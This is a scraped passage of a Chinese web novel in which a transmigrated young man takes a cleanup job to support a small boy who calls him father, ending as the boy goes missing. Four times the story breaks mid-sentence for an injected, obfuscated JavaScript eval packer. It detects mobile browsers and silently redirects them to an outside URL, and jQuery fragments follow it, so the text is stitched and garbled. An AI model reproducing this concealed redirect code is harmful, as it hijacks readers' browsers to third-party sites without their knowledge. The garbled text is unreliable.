;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693025|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时间心里也有一些安慰。 看来他这个好大儿不是完全要人照顾,也有自己动手的时候。 “洗干净了吗……”程书阑一边说一边起身。 话没说完,他的脑袋转过去就看到一小条光溜溜的身影从卫生间里跑出来。 “爸爸!” 程书阑:“……” 诸珠浑身皮肤白得像裹了雪一样,头发依然脏兮兮且乱蓬蓬的,他身上都是水,赤脚踩在地上,踩出一串湿脚印。 “爸爸,我洗好了!”诸珠想往程书阑怀里扑。 程书阑骤然反应过来,惊慌失措地伸手拦住诸珠。 他一把扯过床上的被子裹到诸珠身上,看到诸珠的头发和脖子上没洗干净的泡沫,气不打一处来。 如果诸珠真是他生的儿子,他怕是已经忍不住把人揍上一顿了。 实际上他也快控制不住自己的拳头了。 “你这叫洗好了?你头发都是干的,我让你把头发也洗了,你答应得好好的,转头就把我的话忘了,你看看你这头发脏的!”程书阑想到自己之前的千叮咛万嘱咐全成了耳旁风,只觉心累至极,他生气地抓了抓诸珠的头发,诸珠的脑袋直往后仰。 诸珠裹在被子里,洋溢在脸上的笑容已然消失,只剩一片惊惶不安。 他跟乌龟似的缩着脖子,被扯着头发也动都不敢动一下。 “我不是让你洗干净再出来吗?”程书阑沉着脸说。 诸珠吓得把半张脸都藏进了被子里,结结巴巴地说:“我、我洗干净了……” “你脖子上还有泡沫。” “我洗干净了……” “有泡沫是洗干净了?” “我真的洗干净了……” 程书阑:“……” 他看诸珠脸色惨白,连一句完整的话都说不出来,终于后知后觉地意识到了什么。 安静片刻,他从被子里剥出诸珠,抱起诸珠进卫生间里重新洗澡。 给诸珠穿上衣服,他让诸珠在外面等着,自个儿脱了衣服准备洗澡。 卫生间里贴有一面简陋的镜子,程书阑背对镜子照了半天,发现自己背后的伤竟然不知何时愈合完了,只有几道浅浅的伤疤布在皮肤上。 要不是伤疤还在,他都怀疑之前的伤是看错了。 这才几天时间,伤好得太快了。 难道是诸珠无意中帮了他? 可诸珠尽管是个omega,却不懂得如何使用精神力,连自己脚上的伤都治愈不了。 程书阑皱着眉头,苦思冥想了一会儿,但始终没有头绪,他抹了把脸,只能暂时压下这些疑惑。 穿上衣服出去,诸珠就在卫生间门外守着,似乎被他刚才的反应吓得不轻,一直像条小尾巴一样地跟着他。 程书阑带着诸珠吃完东西,把那双脏兮兮的小皮鞋擦干净后,一大一小离开旅馆去了任务中心。 任务中心设在那栋楼的一楼大厅,许是这会儿时间还早,两人进去时,里面人来人往,嘈杂喧闹。 大厅中间是一片空地,只有两旁设有几排休息的座椅,再往后就是各个门紧闭的办公室。 正对大门的墙壁上挂着几块组合起来的电子屏,无数条任务信息在泛蓝的界面上滚动,偶尔会因接触不良闪烁几下。 12.接任务 程书阑不知道任务中心有什么规矩,便没急着过去,他拉着诸珠在休息区找了两个空位坐下。 从他的角度,可以看清楚那块大屏幕上滚动的内容。 仔细看了一会儿,他发现正如载他们过来的那个男人所说,大屏幕上的任务几乎都是去某地清理污染源,偶尔会有一两个帮忙寻找东西的任务出来,只是刚滚动出来就被一条直线划掉——说明已经有人接单。 每个任务的内容都清晰明了,用简洁的话标明了时间、地点以及报酬等,且最后都有一个数字,代表接单的办公室门号,如果想要接单,可以去对应的办公室外排队。 程书阑环视一圈周围。 大厅里的人熙熙攘攘,挤在大屏幕下看任务的人也多不胜数,但其实接单的人没他想象中多,至少目前还没有一个办公室外出现排队的情况。 看了快半个小时,程书阑才拉着诸珠挤到大屏幕下。 诸珠人小,个子也不高,刚挤进人堆里就被淹没了,害怕得喊了好几声爸爸。 程书阑回头没看到诸珠的脑袋,只看到一双伸得分外艰难的小手,正用力拽着他的手,吓得他连忙把人牵紧了些。 他弯腰抱起诸珠。 诸珠立马缠上他的脖子,熟门熟路地将脸颊贴上他的下巴:“爸爸。” 程书阑替他理了理脑袋上翘起来的几撮头发:“被挤着了吗?” 诸珠摇了摇头。 程书阑没再多说,单手拖着诸珠的屁股,另一只手挡在诸珠背后,尽量隔开诸珠和其他人的身体碰触。 大屏幕上的内容还在滚动,有些任务会将字体加粗,且在任务前标注一个“危”字。 程书阑仰头望向大屏幕,忽略掉那些“危”字开头的任务,他在剩下五花八门的任务里挑挑拣拣,勉强选了两个看着相对简单的任务。 两个任务的地点都在附近,也都是清理污染物,不过一个在一片废弃的荒地上,一个在一栋废弃的楼房里。 程书阑记住任务后面的数字,抱着诸珠挤出人群,先去了其中一个办公室。 之前还没排队的办公室外居然站了七八个人,三两分组,各自凑在一起小声交谈。 程书阑把诸珠放到地上,牵起诸珠的手等了一会儿,看那些人都没有要进去的意思,便越过他们往里走。 这时,离他最近那组人里有个男人开口:“你是新来的?” 男人站在程书阑侧面,程书阑还没进去,余光瞥见男人的目光落在自己身上。 他脚步一顿,扭头看去。 不光是那个男人,和男人站在一起的一男一女也都转过头来盯着他,那一男一女脸上没什么表情,冷漠的眼神在他和诸珠身上上下打量。 倒是说话的男人面带笑容,看上去颇为亲切。 程书阑没有直接回答男人的问题:“有事吗?” 男人看出了他的警惕,不仅没有一点不高兴的意思,还上前一步,热心解释道:“如果你是新来的,那你应该不知道,清理污染源的任务不会交给个人,你想接里面那个任务的话,只能找人组队。” “组队?”程书阑还真不知道这个,他压下心里的惊讶,问道,“怎么找人组队?” 男人回答:“随便组,凑齐四个人以上的队伍就行,大厅里这么多人,都在相互组队,你可以问一下也要接这个任务的其他人。” 程书阑明白过来,说了谢谢。 男人无所谓地摆了下手,退回之前的位置上,继续和那一男一女说话。 程书阑没走,想了想,他敲响了办公室门,等里面响起一声“进来”后,他带着诸珠推门进去。 办公室很小,除了放在正中间的一张办公桌外,只有办公桌后的一把椅子和贴墙靠着的一个柜子。 工作人员坐在椅子上,正在翻阅桌上的一沓资料,听见程书阑的脚步声,头也没抬一下。 “什么事?”工作人员说。 “你好,我接任务。”程书阑答,“清理光明苑污染物的那个任务。” 工作人员弯腰从抽屉里扯出一张纸递给程书阑:“填一下表格。” 程书阑正要接过那张纸。 谁知工作人员突然抬头扫他一眼,像是察觉到了什么,冷不丁地将手收了回去。 “怎么还带着孩子?”工作人员偏头看了看程书阑身后,皱着眉问,“你队友呢?” 程书阑确认道:“还要组队吗?” “不组队怎么完成任务?你又不是alpha,还想一个人解决那些污染物?”工作人员似乎觉得好笑,把纸放回抽屉里,言简意赅道,“我们这里只有团队能接清理污染源的任务,你找人组一个四人队伍再说。” 程书阑带着诸珠出去。 办公室外那些人已经散了大半,只剩刚才和他说话的男人和那一男一女还在原地站着,不知道是不是在等人。 程书阑和男人对上视线,朝男人点了点头,他准备再去大屏幕下看看。 才走两步,男人的声音又响起来。 “你要去找人组队了吗?” 程书阑不太清楚男人的意图,但也隐隐约约感觉到了什么,他回头说:“我去看看其他任务。” 男人笑道:“不接光明苑的任务了?” “那个任务要找人组队。”程书阑没什么好隐瞒的,实话实说,“我估计找不到什么人组队。” 一直没有表情的女人闻言,终于接话道:“这里除了那些靠抢的简单任务,几乎所有任务都要团队进行,毕竟是和污染源打交道,我们这些beta没有精神力,单打独斗只有送命的份儿。” “对。”男人上前说,“那些靠抢的任务都被关系户包了,连我们都轮不到,其他任务都是清理污染源,你过去看再久也找不到合适的任务。” 程书阑听到这里,再听不出这些人的言外之意就是真迟钝了。 他转身面向他们,等待他们的下文。 果不其然,没等几秒,男人笑着说道:“我有一个想法,就看你愿不愿意了。” 程书阑说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穿过一条小路,几人来到一栋矮楼前,为首的男人把盖过章的表格递进门旁的窗口里后,拿到了一张门卡。 几人进入矮楼,从走廊上到二楼,又走了一段路,终于来到一间库房。 库房里有个工作人员,瞧见他们,二话不说从货架上拿了四套连体服和背包下来。 男人把连体服和背包分别发给他们。 “明天早上八点整,我们在任务中心外面集合,记得把东西都带上,防护服必须穿上,背包里有我们要用的东西,都是回来了要还的。”男人重点交代程书阑。 完后,男人看了一眼躲在程书阑身后只探了半个脑袋出来的诸珠。 他继续说:“明天出任务就不要带孩子了,很危险。” 程书阑都应下了。 几人在任务中心的大楼外分开,程书阑身后挂着背包,把防护服挂在手臂上,牵着诸珠往旅馆的方向走。 13.清理感染物 这会儿天色要黑不黑,已经到了饭点。 街边有很多饭馆,都生意不错,从门外经过可以看到里面的服务生们忙得热火朝天。 程书阑又看到了那家卖烤肉的店,门外排着队伍,生意比左右两家好了不止一点。 烤肉店的大门对外敞开,混着各种佐料的肉香从马路对面飘来,直往程书阑的鼻子里钻。 他低头看向诸珠。 诸珠跟他往前走的脚步没有停下,但始终偏头望着烤肉店的方向,和不久前一样,一脸馋样,口水都要流出来了。 程书阑犹豫了下,带着诸珠往马路对面走。 诸珠一下子猜到什么,两眼几乎是唰地亮了起来,他抓紧程书阑的手,明知故问道:“爸爸,我们去哪儿呀?” 程书阑一眼看穿诸珠这个小屁孩的小把戏,也没卖关子。 “买东西。” 说着,两人走到店外面。 程书阑仗着身高的优势探头看了看,很快看到门旁立着一个牌子,上面写了一些套餐价格以及单串烤肉的价格。 一串烤肉需要二十五信用币。 程书阑:“……” 他兜里正好有二十五信用币,不多不少。 本来想着如果一串烤肉只要十几信用币的话,他买了还能剩下一些。 程书阑不想买了,拉着诸珠的手要走,结果低头就对上了诸珠直勾勾的眼神。 诸珠被迎面扑来的肉香勾得有些找不着北,不断咽着唾沫,他稚声稚气地问:“爸爸,我们要买这个吗?” 程书阑:“……” 算了。 买买买! 反正钱就是用来花的。 十几分钟后,两人排队买了一串烤肉,买的时候才发现烤肉分了大中小串,二十五信用币只能买一串小的,分量很少。 程书阑把烤肉递给诸珠,自个儿拿着防护服走在一旁。 诸珠抓着烤肉签子,把手举得很高。 “爸爸吃。”诸珠说。 “你吃,我不吃。”程书阑回。 可诸珠不听他的话,跑到他面前,用身体挡住他的路,同时将手里的肉串抬得更高。 “爸爸先吃,爸爸吃了,我才吃。”诸珠拧着眉头,表情严肃,态度也很坚决。 程书阑又想起之前在昏迷时被诸珠塞面包的事,实在没有办法,拿起肉串咬了一口。 串上的肉实在不多,他这一口咬得不大,可还是吃掉了将近一半。 诸珠仰头看他,原地蹦着,叽叽喳喳地说:“爸爸再吃,我吃很少,给我留一点点就够了。” 程书阑把肉串塞回诸珠手里:“我不吃了,剩下的你自己吃完。” “爸爸……” 程书阑皱眉看过去。 诸珠瞧见他的表情,当即缩起脖子不敢说话了。 程书阑这才开口:“你自己吃。” 他从牵诸珠手的姿势改为拉着诸珠的胳膊,回到旅馆,串上的肉要被诸珠小口小口地啃完了。 诸珠没把签子扔掉,而是继续拿在手里,认认真真地舔着上面剩下的一点佐料。 程书阑简直没眼看,抽走签子扔进垃圾桶里。 奔波一天,一大一小都感觉到了疲惫,坐在床边吃完干粮便早早洗漱了。 不知道是不是这个房间在地下室里的缘故,空气里总有一种潮湿发霉的气味,床单和被褥还算干净,可枕头上的异味就十分明显了。 诸珠把脸埋进枕头里嗅了嗅,小脸都皱成了苦瓜。 “爸爸,这两个枕头都是臭的。”诸珠指着枕头控诉,“爸爸,你快来闻一下。” 程书阑才不要闻。 他从背包里翻出两件穿在里面的衣服,扯掉吊牌,把衣服铺在两个枕头上。 “好了。”他拍了拍枕头,“这下可以了吧?” 诸珠又把脸埋进衣服里嗅了半天,然后扯开一半衣服,重新把脸埋进枕头里。 下一秒,诸珠赶紧抬头,恶心得对着空气干呕:“哕——” 程书阑正站在床边看带回来的背包里的东西,余光里瞥见诸珠自讨苦吃的行为,不由得哈哈笑起来。 “都铺好衣服了还闻它干什么?” “爸爸,枕头真的好臭。”诸珠嫌弃地捏着鼻子。 程书阑笑得直不起腰,索性一屁股坐到床上:“你明知道臭还闻,你是受虐狂吗?哈哈哈哈——” 诸珠突然就不说话了,发亮的眼睛一眨不眨地望着程书阑。 没一会儿,诸珠又把脸埋进枕头里,肩膀耸了一下,像是很深地吸了口气。 “……”程书阑看得目瞪口呆,反应过来后,连忙抓住诸珠背上的衣服。 他直接将诸珠从床上拎起来。 “爸爸!”诸珠两眼放着期盼的光,扯着清亮的嗓音说,“枕头好臭!” “那你还一直闻!”程书阑收住笑声,把诸珠放回床上,气不打一处来,“你这小孩怎么回事?一个臭枕头闻来闻去,都说臭了还闻,闻臭枕头很好玩吗?也不怕那个枕头里有什么,把身体闻出毛病!” 程书阑的声量不大,也在刻意控制语气,但可能是他的表情过于正经,还是把诸珠吓了一跳,小脸唰的一下就白了。 “爸、爸爸……”诸珠结结巴巴地解释,“我、我就是想让爸爸高兴……” 程书阑一愣。 诸珠似乎害怕程书阑对自己动手,小小的身体下意识地在床上缩成一团。 “我想让爸爸高兴,爸爸一直很不高兴……” 程书阑愣了很久,向诸珠伸手。 诸珠居然被他的动作吓了一跳。 程书阑将人抱到自己怀里,让诸珠坐在他的腿上,他整理了下诸珠身上的衣服,问道:“你怎么会觉得我不高兴?” 诸珠仰头和他对视,由于年纪小,不会藏心事,胆怯和欣喜等情绪都明明白白地在脸上交织。 “因为我们遇到好多坏人,所以爸爸不高兴。”诸珠停顿了下,捏着手指,小声地说,“如果没有我,爸爸就不会这么累了。” 程书阑揉了揉诸珠的脑袋。 诸珠的头发很软,一直没剪,都没过耳朵了,发量还多,揉起来的手感很好。 “我没有不高兴,就算不高兴,也是生别人的气,跟你没有关系。”程书阑说,“其实我很高兴有你在,不然我一个人更煎熬。” 这句话是真心话。 诸珠吵是吵了点,却也是一个人,有诸珠在,至少有个人陪在他身边。 而且诸珠是原书里原主的儿子,在血缘上和这具身体有着密不可分的联系,带着诸珠比和其他不知道有什么目的的人相处好很多。 诸珠闻言,高兴极了:“真的吗?” “真的。”程书阑回。 诸珠捏起拳头,想在地上蹦两圈,结果发现自己还坐在程书阑腿上,便抬手抱住程书阑的脖子,在他的脸颊上亲了亲。 “爸爸,我爱你。” 程书阑不管过多少次都受不了这么肉麻的话,抖掉身上的鸡皮疙瘩,拍了拍诸珠的背:“好了,睡觉。” 房间里没有窗户,关上灯后,视线仿佛被墨水浸透,黑得伸手不见五指。 程书阑抱着怀里呼呼大睡的诸珠,侧躺看着墙壁的方向。 不知怎的,他想到了原书里的诸珠。 诸珠的设定就是一个恶毒炮灰,也是主角受的对照组,很脸谱化的角色,集各种负面标签于一身。 诸珠的初登场在程家,主角受刚被找回,家里办了一场接风宴。 盛装出席的诸珠来到宴会上,发现被拥簇在人群中心的主角受竟然是自己曾在学校里欺负过的贫困生,顿时心里不平衡,想给主角受一个下马威。 结果可想而知。 诸珠不仅没有达成目的,还在宴会上出了大糗,从那之后,诸珠恨上了主角受,在得知主角受和主角攻一见钟情且准备订婚后,更是像疯了一样地针对主角受,不择手段地想要抢回主角攻。 如果程书阑只是一个旁观者,他对诸珠也喜欢不起来,可现在他穿成了原主,就感觉很割裂。 以诸珠现在的性格来看,他不觉得诸珠以后会变成那种人。 这时,怀里的诸珠动了一下。 程书阑的思绪被打断,他立马回神,稍微松开了些抱着诸珠的力道。 诸珠伸手在他的胸膛上摸了摸,扯住他的衣服,将脸往他怀里埋了埋。 “爸爸……” 程书阑听见诸珠在口齿不清地喊。 诸珠睡觉时经常这么喊,那次哭得厉害,也一直叫着爸爸,程书阑还以为诸珠在喊自己,后来才慢慢意识到诸珠可能在喊另一个爸爸。 也就是诸玉。 说起来,这个世界也有诸玉吧?还不知道这个世界的诸玉是什么样子。 程书阑迷迷糊糊地想着,也不知道自己什么时候睡着的,等他醒来,通讯器的闹钟正好响起。 诸珠睡相差,早从他身上滚到了床边,胸口以下在床上,胸口以上悬在床外,两只手垂在半空中,睡得跟死了一样。 程书阑活了十八年,就没见过这么神奇的睡姿。 也不觉得脖子疼。 他把诸珠捞回床上,刚松开手,诸珠就睁开眼。 诸珠脸上还有困意,眼神也很朦胧,但已经积极地爬到床尾,撅着屁股摸索搭在床尾的衣服。 程书阑见状,说道:“今天我要出任务,那里很危险,你不能跟我去。” 诸珠一顿,眉头立即打成一个结。 程书阑才不给他说话的机会,动作麻利地把昨晚翻出来的东西往背包里塞,一边塞一边说:“你在旅馆里等我,哪儿都别去,要是有人敲门,你也假装没在,就像上次一样保护好自己,知道吗?” 诸珠大声说:“爸爸,我要和你一起,我不想留在这里。” “我说了那里很危险,要是遇到什么事,我一个人的话还能应付,带上你了,我们两个人都走不了。”程书阑看诸珠的嘴巴撅得都能挂油壶了,忍不住伸手捏了一下。 诸珠的嘴巴被捏扁,变成鸭嘴形状。 他瞪着眼睛,很不高兴,却毫不挣扎,由着程书阑把自己的嘴巴捏成各种形状。 “想不想早点回家?”程书阑问。 诸珠眼神一亮,连忙点头。 “想早点回家就听我的安排,我出几次任务把路费挣够,我们就可以回去了。”程书阑想起昨天诸珠舔了好几遍的肉串签子,补充道,“回来给你带肉串。” 诸珠一听肉串就馋,也不说什么了,小鸡啄米似的一个劲儿点头。 程书阑清点完东西,把防护服穿在最外面,叮嘱完诸珠,便上了楼梯打开门往外走。 走了几步,回头看到本来被他关上的房门不知何时又悄悄打开了,走廊里的灯光照进门缝里,能隐约看见诸珠藏在后面的小半张脸。 诸珠眼巴巴地望着他。 程书阑看着这一幕,想到昨晚回忆起来的原书剧情,心里突然很不是滋味。 他走回去拉开门。 诸珠站在原地,表情呆呆地仰起头。 程书阑揉了揉诸珠的头发:“我走了。” 诸珠怔了一瞬,随即眉飞色舞地用力抱了一下程书阑:“爸爸早点回来!” 这会儿才早上七点多,秋冬的天亮得比较晚,放眼望去,天边只有一点晕染开来的鱼肚白。 程书阑一边走一边吃干粮,来到任务中心大楼外面,正好把手里的东西吃完。 大楼外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709711|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聚集了很多人,嘈杂的说话声此起彼伏。 程书阑没往人群中挤,就在边缘的位置上站着,等了约有半个小时,才看到昨天那个男人的身影。 男人身上穿着和他同样颜色的防护服,刚和他对上视线,脸上就扬起笑容,抬高了手向他挥了挥。 程书阑朝男人走去。 等走近了,他才发现剩下的一男一女也在旁边,只是刚才被其他人挡住,没能发现。 男人和那一男一女是一起来的,不知道是约定好一起出门还是他们住的地方离得近。 男人也没有避着程书阑的意思,态度坦荡地说:“你来得好早,我们都是看时间差不多了才出门。” “我住得远,怕时间不够,就早点来了。”程书阑也有防着这些人的心思,没选择说实话。 男人点了点头,只说:“对了,昨天忘了介绍,我叫老吴。” 说着,男人分别指了指那个女人和另一个男人。 “他们是燕子和东子。” 那一男一女依然神色冷漠,惜字如金,只在老吴的话音落下后,对程书阑轻点下头。 程书阑有样学样:“我叫小陈。” 他记起来昨天填的接单表格上只有队伍的编号和过往成绩等,剩下都是关于任务的详细说明,上面没有涉及一点队员们的隐私,估计就是像他们这种临时组队的人比较多。 相互打完招呼,老吴问:“东西都带齐了吗?” 程书阑点头:“带齐了。” “那我们走吧,任务地点离这里不远,我们不用和那些人一样挤公交车,步行过去就行。”老吴说着往一个方向走。 燕子和东子立即跟在后面。 程书阑走在最后。 一路上,燕子和东子都沉默不语,刻意与程书阑保持距离。只有老吴不动声色地放慢脚步,与他并肩而行,时不时问些无关痛痒的私事。 程书阑能说的便说,不能说的就装作没听明白。 步行约莫一个小时,街景渐渐萧条起来,两旁的商铺先是稀稀落落,后来只余下黑洞洞的窗口,再往前,楼房墙皮剥落,门窗歪斜,显然已荒废多年。 光明苑是一个小区,几人来到小区门口,从敞开的大门能看到里面人去楼空。 “把面罩带上。”老吴叮嘱。 燕子和东子各自从背包里拿出面罩。 程书阑早在靠近这里时就把面罩带上了,不知道这个面罩起什么作用,透明的罩子正好覆盖整张脸,只是戴上后有些呼吸不畅。 程书阑不敢大意,又把身上的防护服和面罩仔仔细细地检查一遍,确认毫无破绽后,才跟着前面的老吴他们走进小区。 老吴说过自己不是第一次来这里,对这里熟门熟路,他连路标都不用看,转几个弯就找到了二十三号楼。 “这里荒废很久了,电梯用不了,我们要步行上去。”老吴扭头对程书阑说,他的声音从面罩里传出,听着很闷。 程书阑点头:“好。” “十楼,没问题吧?”老吴关心道。 “没问题。”程书阑说。 前面的燕子看不下去了,不耐烦地说了一句:“老吴,能不能不要每次都对新人这么热心?你自己热心就算了,在这里热心不是耽误大家的时间吗?早点完成任务早点回去。” 一直没说过话的东子终于开口,不过是叹了口气:“老吴就是热心肠。” 老吴面罩下的表情有些尴尬,没接燕子的话茬,他拍了拍程书阑的肩膀。 “他们性子直,有什么说什么,没有恶意的,你别往心里去啊。” 程书阑摇了摇头,说道:“我们上去吧。” 清理感染物的任务比清理感染者的任务安全很多,但也要复杂很多。 感染者通常只有一两个,目标清晰明确,只要清理完成即可,感染物的范围就很广了,需要清理者大面积地进行清理,这是一件费时费力的事。 任务上没说感染物的具体位置,所以老吴说的十楼只是他们的起点,他们必须往上清理到二十楼为止。 楼房里不仅电梯没有运行,也没有任何灯光照明,走进去后,光线全被隔绝在外面,他们只能拿出背包里的手电筒照明。 上楼梯时,老吴对程书阑说:“这一片没有感染者,你放心大胆地清理,只要把消毒水喷洒均匀就可以了,还有要注意你的身体和脸不能露在外面。” 程书阑点头说了谢谢。 一口气爬上十楼,程书阑有些喘,站在原地缓了好一会儿才让呼吸平稳下来,扭头看老吴他们,都面不改色。 燕子在通讯器上看完这栋楼的地形,已经开始分配每个人的任务区域了。 “小陈是新人,给他分配离楼道近的地方吧。”老吴说,“以后还要经常组队,先让他适应一下。” 燕子面露不悦,看了一眼老吴,到底没说什么,先分配好了程书阑的任务区域。 程书阑拿着任务中心发的喷壶,拐进了楼道右边的第一扇门。 这是一套两室一厅的房子,和程书阑之前带着诸珠住过的那套房子很像,家具和一些日常用品都在,但很久没人用过,和地板一样铺上了一层很厚的灰。 清理工作不难,就是把喷壶里特制的消毒水喷洒到各个地方,如果喷出去的液体变成黑色,就说明那块地方被污染过。 程书阑从卧室开始,每个角落都没放过。 喷壶也是任务中心特制的,很小一个,背包里总共装了十个,每次只能喷出很少的量。 程书阑本来觉得十个喷壶很快就能用完,结果都清理完了三套房子,手里的喷壶好像还是满的。 他走出第三套房子,站在狭长黑暗的走廊里,不知道老吴他们去了哪里,很久没听见他们的声音了。 14.不见了 程书阑感觉有些不对,立即转身回到刚才和老吴他们分开的地方,只见楼道间也是空荡荡的。 老吴他们都没在了。 他把喷壶塞回背包里,只拿着手电筒,沿着漆黑的走廊走了有一段路,却始终没看到另外三人的身影。 “老吴?”程书阑压低声音喊道。 话音未落,他突然察觉到什么,蓦地转向右侧。 这里应该被人粗略清理过,每套房子的门都大敞着,他右手边正对一扇敞开的房门,里面黑洞洞的。 手电筒光落进那扇门里,照亮了蒙着一层厚重灰尘的地板和凌乱的家具。 程书阑犹豫片刻,谨慎地迈入门内。 玄关很窄,走几步就到了客厅交界处,他停下脚步,让光束在客厅里缓缓扫过。 客厅也不大,除了沙发、茶几以及电视柜等基础家具外,几乎没有别的摆设,因此手电筒光很轻易地扫到了沙发后面那道高挑的身影。 客厅里有其他人。 而且明显不是老吴他们。 程书阑的心脏猛地收紧,手指一颤,险些摔落手电筒。 他脑子里瞬间冒出“感染者”三个字。 就在这时,身后响起脚步声,老吴的声音传来:“小陈?你在里面吗?” 沙发后的身影闻声转身,光束下,那个人穿着一身黑衣,头上戴着一顶黑色棒球帽,帽檐下那张漂亮的脸清楚地暴露在光线中。 那个人面无表情,目光冷得像冰。 程书阑一怔。 不是感染者? 他来时特意向老吴打听过感染者的情况,老吴说感染者的视线非常浑浊,眼珠泛白,皮肤发青,和普通人有着很大的区别,通常一眼就能辨认出来。 他没来得及多想,迅速移开光束,转向玄关。 老吴正走进来,被刺眼的光照得嘶了一声,赶紧抬手挡在眼前。 “扫到我的眼睛了。” “抱歉。”程书阑调暗光线,注意到老吴手中的喷壶,紧绷的神经稍有放松, “你怎么在这里?”老吴皱眉,“楼道那边清理完了?” “还没有。”程书阑回答简洁。 老吴露出不赞同的表情,神色严肃:“你还不知道吧?我们的面罩上都有定位器,任务中心会在后台监控我们的行动轨迹。要是被判定偷懒,我们的报酬也会减少。” 程书阑倒是没想到还有这一层,之前他确实思考过任务中心的人要怎么验收他们的清理成果。 现在看来人家也不是平白无故就给钱的傻子。 他解释道:“我清理到一半没听见你们的动静,担心出什么事,就过来找你们了。” 这只是客套话。 显然老吴也听出来了,但他没有表现出一点不愉快的样子,好声好气地说:“这里的一层楼太大了,我们要分开清理才能早点完成任务,要是在别的地方,可能我就和你一起了,所以你把自己的任务区域完成就行,到时候在楼道那边集合,我们一起去上面那层楼。” 程书阑点了点头:“好。” 老吴转身要走,却突然想起什么,往客厅里看了一眼:“对了,这套房子清理过了吗?” “我等会儿过来清理,马上就到这里了。”程书阑把手电筒光重新调亮,一边照向门外一边不动声色地用身体挡住老吴的视线。 老吴不疑有他,走到外面的走廊上,又叮嘱了程书阑几句,便拿着手电筒往走廊那头去了。 程书阑回到之前的地方,开始清理第四套房子,等他清理到遇到那个人的房子里时,那个人已经不见踪影。 清理任务十分艰巨,四个人忙了五个多小时才把所有任务区域清理完。 走出住宅楼,天还是亮的,但已有暮色隐隐约约地铺陈开来。 一路上几人都没说话,沉默的空气笼罩着疲惫的每个人,直到回到任务中心,他们沉重的脚步才变轻快了些。 领取报酬的地方也在任务中心后面那栋楼,是从旁门进去的一间办公室。 老吴先进去,燕子和东子排在后面,程书阑最后一个进去。 工作人员直接在桌上放了一千六百信用币,程书阑拿起来数了一遍,有十六个一百面值的信用币,拿起来不算多,但也有一定重量。 他把信用币收好,离开办公室老吴他们都在外面等着,见他出来,老吴拿出自己的通讯器。 “我们加个联系方式吧,以后方便联络。”老吴说,“像今天那种情况,你可以直接在通讯器上找我,在楼里找来找去多浪费时间。” 程书阑说:“我没有通讯器。” 燕子惊讶地问:“你没买一个吗?” “以前那个坏了。”程书阑也没瞒着,实话实说,“我现在没钱买新的通讯器。” 燕子顿时不说话了。 老吴倒没什么反应,安慰他说:“通讯器也没有太贵,出几次任务就能买到了,不过你现在没有通讯器,我们联系的话确实有点麻烦。” 说着,老吴想了想。 然后他问:“你准备下次什么时候出任务?我们一般干一天休一天,明天下午会过来看看有什么任务,如果你有时间,明天下午我们在这里见面,商量一下后天的任务。” 程书阑思考了下。 他和老吴他们不一样,老吴他们住在这里,即便家里有孩子,也有其他人带着。 而他出来做任务的话,诸珠只能自个儿在旅馆里呆着。 可他真的需要钱。 总不能一直耗在这个地方。 做出决定后,他回:“我和你们一起吧。” “好啊。”老吴眉开眼笑,“明天下午在这里见。” 程书阑没和老吴他们一起离开,他去了一趟马路对面的那家烤肉店。 这会儿已到饭点,烤肉店的生意依然很好,店外排着长龙,程书阑慢慢排过去,花一百多信用币买了一些烤串,让店员打包好,他提着烤串往回走。 旅馆的位置很偏,要在狭窄的巷子里弯弯绕绕地走上十来分钟才到门口。 进去就能看到坐在柜台后面的老板,抱着双臂靠在椅子上,正昏昏欲睡着。 程书阑拿钥匙打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745810|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间门,走下楼梯,才察觉到房间里出奇安静。 “诸珠?”他喊,“诸珠。” 房间里没有窗户,在门也紧闭的情况下,没有光线透进来,只能一直开着灯。 昏黄的光线照着这个不大的房间。 程书阑环视一圈,没看到诸珠,他心头一紧,眉毛皱起来,连忙把烤串放到桌上,迈开步子走向卫生间。 他打开卫生间的门。 卫生间很小,里面一目了然,诸珠也没在这里。 程书阑彻底慌了,一边喊着诸珠的名字一边将房间翻了个遍,连床底下都看了。 诸珠没在房间里。 确定这个事实后,他的大脑出现了好几秒的空白,仿佛一颗心被挂在空中,绳子断掉,他的心开始直挺挺地往下落。 诸珠没在。 那诸珠去哪儿了? 诸珠不是一个会乱跑的孩子,之前他去找车,诸珠就乖乖呆在废弃房子里等他…… 